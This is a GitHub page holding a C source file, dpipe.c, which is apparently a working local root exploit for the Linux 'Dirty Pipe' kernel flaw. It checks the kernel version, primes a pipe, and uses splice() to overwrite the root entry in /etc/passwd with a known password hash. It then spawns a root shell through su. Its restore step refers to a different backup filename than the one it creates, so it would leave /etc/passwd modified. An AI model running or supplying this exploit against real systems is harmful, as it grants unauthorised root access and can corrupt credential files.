-
Notifications
You must be signed in to change notification settings - Fork 0
/
dpipe.c
152 lines (113 loc) · 3.9 KB
/
dpipe.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <fcntl.h>
#define PATH "/etc/passwd"
#define PAGESZ 0x1000
int checkVuln(); //This is used to determine if the specific version of the Kernel is vulnerable
void sigHandler(int signum);
void createBackup(void);
void abort(); //This is used to abort and exit on error
void exploitFunction(int pfd[2]); //This is used to exploit the vulnerability
void preparePipe(int pfd[2]);
void sigHandler(int signum){
fprintf(stderr, "[!] An Error occured! aborting..!\n");
_exit(-1);
}
//Trigger vulnerability
void preparePipe(int pfd[2]){
if(pipe(pfd)){ fprintf(stderr, "[!] pipe() error!\n"); _exit(-1); }
unsigned pipe_sz = fcntl(pfd[1], F_GETPIPE_SZ);
char buffer[PAGESZ];
/*-- Fill the pipe */
for(unsigned i = pipe_sz; i > 0;){
unsigned n = i > sizeof(buffer) ? sizeof(buffer): i;
write(pfd[1], buffer, n);
i -= n;
}
/*-- This is used to drain all the pipeBuffer instances */
for(unsigned i = pipe_sz; i > 0;){
unsigned n = i > sizeof(buffer) ? sizeof(buffer): i;
read(pfd[0], buffer, n);
i -= n;
}
}
void createBackup(void){
FILE *f1 = fopen("/etc/passwd", "r");
FILE *f2 = fopen("/tmp/passwd.bak", "w");
char c;
if(f1 == NULL || f2 == NULL) abort();
//read each character from the first file to the second file
while((c=fgetc(f1)) != EOF)
fputc(c, f2);
fclose(f1); fclose(f2);
}
int checkVuln(void){
pid_t pid; //This is the child process to execute the execve comman
char *args[] = {"/bin/uname", "-r", NULL};
char *envp[] = {NULL};
char *vulnVersionz[] = {"5.16.11", "5.15.25", "5.10.102"};
char kernel_version[32];
int pfd[2]; //This is the pipe fdz
pipe(pfd);
pid = fork();
if(pid < 0) abort();
if(!pid){
close(pfd[0]); //close one end of the fd
dup2(pfd[1], STDOUT_FILENO);
execve(args[0], args, envp);
_exit(1); //exit from the child proess
}else{
waitpid(pid, NULL, 0); //wait for the child process
close(pfd[1]);
read(pfd[0], kernel_version, sizeof(kernel_version));
}
char *version = strtok(kernel_version, "-");
fprintf(stdout, "[+] Kernel Version: %s\n", version);
for(int i = 0; i < sizeof(vulnVersionz)/sizeof(char *); i++){
if(strverscmp(vulnVersionz[i], version) == 0){
fprintf(stderr, "[+] Version \"%s\" is vulnerable!\n", version);
goto end;
break;
}
}
return 0;
end:
return 1;
}
void exploitFunction(int pfd[2]){
struct stat fs;
const char *filename = PATH;
const char data[] = "$1$/TjRb3V.$Rs42hVb5wYuZKf052D2Gv.:0:0:root:/root:/bin/bash\n";
loff_t offset = 0x5;
const loff_t end_offset = offset + (loff_t) strlen(data);
createBackup();
int fd = open(PATH, O_RDONLY);
if(fd < 0){ fprintf(stderr, "[!] open() error!\n"); _exit(-1); }
if(fstat(fd, &fs)) { fprintf(stderr, "[!] fstat() error!\n"); _exit(-1); }
if(offset > fs.st_size) { fprintf(stderr, "[!] offset not inside the file!\n"); _exit(-1); }
if(end_offset > fs.st_size) { fprintf(stderr, "[!] Cannot write passed the file!\n"); _exit(-1); }
offset--;
ssize_t nbytez = splice(fd, &offset, pfd[1], NULL, 1, 0);
if (nbytez < 0){ fprintf(stderr, "[!] splice() failed!\n"); _exit(-1); }
if(!nbytez){ fprintf(stderr, "[!] short splice!\n"); _exit(-1); }
nbytez = write(pfd[1], data, strlen(data));
if(nbytez < 0){ fprintf(stderr, "[!] write failed!\n"); _exit(-1); }
if((ssize_t) nbytez < (ssize_t) strlen(data)){ fprintf(stderr, "[!] short write!\n"); _exit(-1); }
fprintf(stdout, "[+] Success! Login as 'root:password'\n");
char *args[] = {"/bin/sh", "-c", "su -l root -c \"cp /tmp/passwd.bk /etc/passwd; rm -fr /tmp/passwd.bk; /bin/sh\"",NULL};
char *envp[] = {NULL};
execve(args[0], args, NULL);
}
int main(int argc, char **argv){
int pipefd[2];
if(!checkVuln()){ fprintf(stderr, "[!] Version not vulnerable!\n"); _exit(-1); }
preparePipe(pipefd);
exploitFunction(pipefd);
return 0;
}